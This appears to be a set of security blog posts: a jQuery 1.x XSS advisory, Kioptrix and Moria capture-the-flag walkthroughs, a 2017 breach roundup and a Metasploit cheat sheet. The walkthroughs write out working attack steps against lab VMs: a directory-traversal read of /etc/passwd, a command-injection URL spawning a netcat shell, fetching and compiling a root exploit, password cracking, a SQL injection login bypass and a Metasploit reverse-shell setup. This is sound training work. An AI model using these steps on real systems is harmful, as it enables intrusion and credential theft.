A jQuery 1.x vulnerability exists and no fix is planned

I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.

While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:

“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

Remediation: Upgrade jquery to version 3.0.0 or higher.”

“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:

https://github.com/jquery/jquery/issues/2432#issuecomment-290983196

So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.

While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.

The longer jQuery 1.x sits in your project, the higher a risk it becomes.

As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”

Long story short: Keep your bundled libraries up to date!

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!

Enumeration

netdiscover turned up 192.168.0.196 as the IP for this target VM.

#> nmap -v -sS -A -T4 192.168.0.196 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) | http-methods: |_ Supported Methods: GET 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-title: 403 Forbidden

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.

nikto

nikto -host 192.168.0.196- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.0.196+ Target Hostname: 192.168.0.196+ Target Port: 80+ Start Time: 2017-02-14 21:01:40 (GMT-5)---------------------------------------------------------------------------+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.+ OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.+ 8345 requests: 0 error(s) and 11 item(s) reported on remote host+ End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds)---------------------------------------------------------------------------+ 1 host(s) tested

Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories

dirb

Turned up index.html (nothing new) and cgi-bin. Blah.

dirsearch

Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower arevulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<!–
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
–>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

http://192.168.0.196/pChart2.1.3/examples/index.php

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:

https://www.exploit-db.com/exploits/31173/

Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

http://192.168.0.196/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd#&nbsp;$FreeBSD:&nbsp;release/9.0.0/etc/master.passwd&nbsp;218047&nbsp;2011-01-28&nbsp;22:29:38Z&nbsp;pjd&nbsp;$#root:*:0:0:Charlie&nbsp;&:/root:/bin/cshtoor:*:0:0:Bourne-again&nbsp;Superuser:/root:daemon:*:1:1:Owner&nbsp;of&nbsp;many&nbsp;system&nbsp;processes:/root:/usr/sbin/nologinoperator:*:2:5:System&nbsp;&:/:/usr/sbin/nologinbin:*:3:7:Binaries&nbsp;Commands&nbsp;and&nbsp;Source:/:/usr/sbin/nologintty:*:4:65533:Tty&nbsp;Sandbox:/:/usr/sbin/nologinkmem:*:5:65533:KMem&nbsp;Sandbox:/:/usr/sbin/nologingames:*:7:13:Games&nbsp;pseudo-user:/usr/games:/usr/sbin/nologinnews:*:8:8:News&nbsp;Subsystem:/:/usr/sbin/nologinman:*:9:9:Mister&nbsp;Man&nbsp;Pages:/usr/share/man:/usr/sbin/nologinsshd:*:22:22:Secure&nbsp;Shell&nbsp;Daemon:/var/empty:/usr/sbin/nologinsmmsp:*:25:25:Sendmail&nbsp;Submission&nbsp;User:/var/spool/clientmqueue:/usr/sbin/nologinmailnull:*:26:26:Sendmail&nbsp;Default&nbsp;User:/var/spool/mqueue:/usr/sbin/nologinbind:*:53:53:Bind&nbsp;Sandbox:/:/usr/sbin/nologinproxy:*:62:62:Packet&nbsp;Filter&nbsp;pseudo-user:/nonexistent:/usr/sbin/nologin_pflogd:*:64:64:pflogd&nbsp;privsep&nbsp;user:/var/empty:/usr/sbin/nologin_dhcp:*:65:65:dhcp&nbsp;programs:/var/empty:/usr/sbin/nologinuucp:*:66:66:UUCP&nbsp;pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicopop:*:68:6:Post&nbsp;Office&nbsp;Owner:/nonexistent:/usr/sbin/nologinwww:*:80:80:World&nbsp;Wide&nbsp;Web&nbsp;Owner:/nonexistent:/usr/sbin/nologinhast:*:845:845:HAST&nbsp;unprivileged&nbsp;user:/var/empty:/usr/sbin/nologinnobody:*:65534:65534:Unprivileged&nbsp;user:/nonexistent:/usr/sbin/nologinmysql:*:88:88:MySQL&nbsp;Daemon:/var/db/mysql:/usr/sbin/nologinossec:*:1001:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologinossecm:*:1002:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologinossecr:*:1003:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologin

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
/usr/local/etc/apache2x/httpd.conf

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.

https://www.exploit-db.com/exploits/21665/

This will start a netcat reverse shell by injecting the command via the URL:

http://192.168.0.196/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:

/usr/local/www/apache22/data2/phptax

touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:

fetch http://192.168.0.147/26368.c

Compile that sucker:

gcc 26368.c

Then run it:

./a.out

ROOT!

And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!

Moria: A Boot2Root VM Walkthrough

Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.

While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.

Getting Started

My setup:

  • MacBook running MacOS (Sierra)
  • VMWare Fusion running:
  • Kali Linux (latest)
  • Moria VM

Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.

Enumeration

Netdiscover

This tool revealed the IP of this machine on my network:

192.168.0.131

nmap

I used nmap -v -sS -A -T4 192.168.0.131
and nmap –sS –sV -O 192.168.0.131

PORT STATE SERVICE
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X

So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting http://192.168.0.131 in a web browser. Here’s what I got:

The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:

From http://tolkiengateway.net/wiki/Doors_of_Durin:

“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors,[5] but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.[1]”

Good info that might come in handy later 😉

dirb

Running dirb led to the discovery of a directory at http://192.168.0.131/w/. It contained a link to /h/, and so on. Traversing down the links led to:

http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/


The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.

At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.

ftp

Trying to connect via FTP turned up some interesting info:

220 Welcome Balrog!

Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.

Revisiting the website

Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:

Knock Knock
Is this the end?
Too loud!
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
Oin:”Stop knocking!”
“Eru! Save us!”

A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.

ssh

Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.

Using the login combo of Balrog / Mellon I got this:

 

Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:

Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /

I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.

I went to /var/www/html and found a directory that dirb would never have discovered:

Viewing that page in my web browser showed a handy table of what appeared to be hashes:

Hashes

I set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.

hash-identifier said they were likely MD5 hashes:

Without a salt I wasn’t sure how I’d use that information.

I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at http://192.168.0.131/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/

Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!

At the bottom of the source code I found what appeared to be the salts:

 

So I had the salts for those MD5 hashes, and I had what looked like the format for using them:

MD5(MD5(Password).Salt)

Cracking

This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.

Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:

Balin:c2d8960157fc8540f6d5d66594e165e0$6MAp84
Oin:727a279d913fba677c490102b135e51e$bQkChe
Ori:8c3c3152a5c64ffb683d78efc3520114$HnqeN4
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
Fundin:c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
Nain:fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP$HCCsxP
Dain:6a113db1fd25c5501ec3a5936d817c29$cC5nTr
Thrain:7db5040c351237e8332bfbba757a1019$h8spZR
Telchar:dd272382909a4f51163c77da6356cc6f$tb9AWe

I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:

http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.

Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:

dynamic_6 | md5(md5($p).$s)

I next tried that on the hashes.txt file:

root@kali:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
magic (Telchar)
abcdef (Dain)
spanky (Ori)
fuckoff (Maeglin)
flower (Balin)
rainbow (Oin)
darkness (Thrain)
hunter2 (Fundin)

SUCCESS!

I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.

Bash Shell Obtained

Got a Bash shell with Ori’s login via SSH:

-bash-4.2$

-bash-4.2$ ls -al
total 8
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh

Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.

It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?

root Obtained – All That is Gold Does Not Glitter

Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!

 

Biggest Online Security Breaches in 2017 So Far

Worryingly, we hear about data breaches so much nowadays that we have gotten used to them. From the infamous Ashley Madison breach, where thousands of cheating partners were exposed to the TalkTalk breach, which led to youngsters being arrested, the scandals seem to get worse and worse, as cyber criminals become more sophisticated. In this post, we are going to take a look at some of the biggest data breaches to occur so far in 2017.

Debenhams Flowers – Let’s begin with a data breach that his hit the news very recently. 26,000 customers had their personal data compromised as a consequence of a cyber attack on Debenhams Flowers website. Names, addresses and payment details were taken during the incident, which targeted a third party e-commerce company, Ecomnova. At present, the Debenhams Flowers website is currently offline, as they discover more about the attack, which is believed to have taken place between February and April of this year.

Gmail – Most people reading this post will have a Gmail account, and so the phishing scam that occurred in March was a pretty big deal to say the least. Gmail users were targeted in a sophisticated scam, which saw them receive an email that appeared to come from one of the user’s trusted contacts, such as a friend or a work colleague. The email had a Google Doc attached to it, and encouraged the user to open it. However, once clicked, the link actually lead to a security page, whereby the hacker would gain control of the user’s email account. Despite the fact that Google reacted quickly and was able to stop the attack within an hour, one million users were impacted.

InterContinental Hotels Group – While email platforms and ecommerce websites only have online threats to deal with, the hospitality industry has both physical and cyber security to bear in mind. If you would like some information on the former, take a look at information provided by HS Tech Group.  The InterContinental Hotels Group (IHG) breach is important because it occurred due to malware, which is running rife at the moment. In the beginning, IHG believed that 12 of its properties were impacted by the breach, which saw malware on the servers used to process payments made at on-site bars and restaurants. This meant that stolen data included internal verification codes, card numbers, expiration dates, and card numbers. However, IHG later revealed that 1,200 of their properties had been impacted by the malware attack.

E-Sports Entertainment Association (ESEA) – Last but not least, we have a breach that was announced at the very start of 2017. ESEA, which is one of the biggest video gaming communities in the world, issued a warning to all players after discovering a security incident. It was later revealed that more than 1,500,000 ESEA records were impacted by the breach, and a lot of private data was compromised in the process, including website URLs, phone numbers, birthdates, email addresses, first and last names, usernames, registration date, last login, and much more.

For more information on how you can stay safe while using the Internet, take a look at this blog post.

Quick Metasploit Guide

metasploit photoThese are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.

Use Kali Linux for all the following instructions.

Prep:
Ensure postgresql is running.

$> /etc/init.d/postgresql start

Set postgres to start on boot so you don’t have to worry about it again:

$> sudo update-rc.d postgresql enable

From the command line, fire up the Metasploit console:

$> msfconsole

Search for exploits related to what you are interested in:

msf> search smb

Or, be more specific:

msf> search name:smb type:exploit platform:windows

Or, in Kali, use searchsploit (from regular command line, outside of MSF):

$> searchsploit smb

Once you find an exploit you want to use, use it:

msf> use exploit/windows/smb_hack

Then set a payload:

msf> set PAYLOAD windows/shell/reverse_tcp

See what options are set:

msf> show options

Set options as needed:

LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)

msf> set LHOST 192.168.0.x

RHOST is the IP of the victim

msf> set RHOST 192.168.1.x

Default port is 80, but choose one if you wish:

msf> set RPORT 8081

Run the exploit:

msf> exploit

If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:

lsdirpwdid

Photos by Christiaan008,

Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)Running: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017(Pasting only the relevant stuff here.) ===================================================== | Enumerating Workgroup/Domain on 192.168.0.110 | ===================================================== [+] Got domain/workgroup name: WORKGROUP============================================= | Nbtstat Information for 192.168.0.110 | ============================================= Looking up status of 192.168.0.110 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service KIOPTRIX4 <03> - B <ACTIVE> Messenger Service KIOPTRIX4 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup NameMAC Address = 00-00-00-00-00-00============================== | Users on 192.168.0.110 | ============================== index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)user:[nobody] rid:[0x1f5]user:[robert] rid:[0xbbc]user:[root] rid:[0x3e8]user:[john] rid:[0xbba]user:[loneferret] rid:[0xbb8]========================================== | Share Enumeration on 192.168.0.110 | ========================================== WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))Server Comment --------- ------- KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)Workgroup Master --------- ------- WORKGROUP KIOPTRIX4[+] Attempting to map shares on 192.168.0.110//192.168.0.110/print$ Mapping: DENIED, Listing: N/A//192.168.0.110/IPC$ [E] Can't understand response:WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]NT_STATUS_NETWORK_ACCESS_DENIED listing \*===================================================== | Password Policy Information for 192.168.0.110 | ===================================================== [E] Unexpected error from polenum:Traceback (most recent call last): File "/usr/bin/polenum", line 33, in <module> from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samrImportError: cannot import name dcerpc_v4[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 0S-1-22-1-1000 Unix User\loneferret (Local User)S-1-22-1-1001 Unix User\john (Local User)S-1-22-1-1002 Unix User\robert (Local User)enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: johnPassword: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

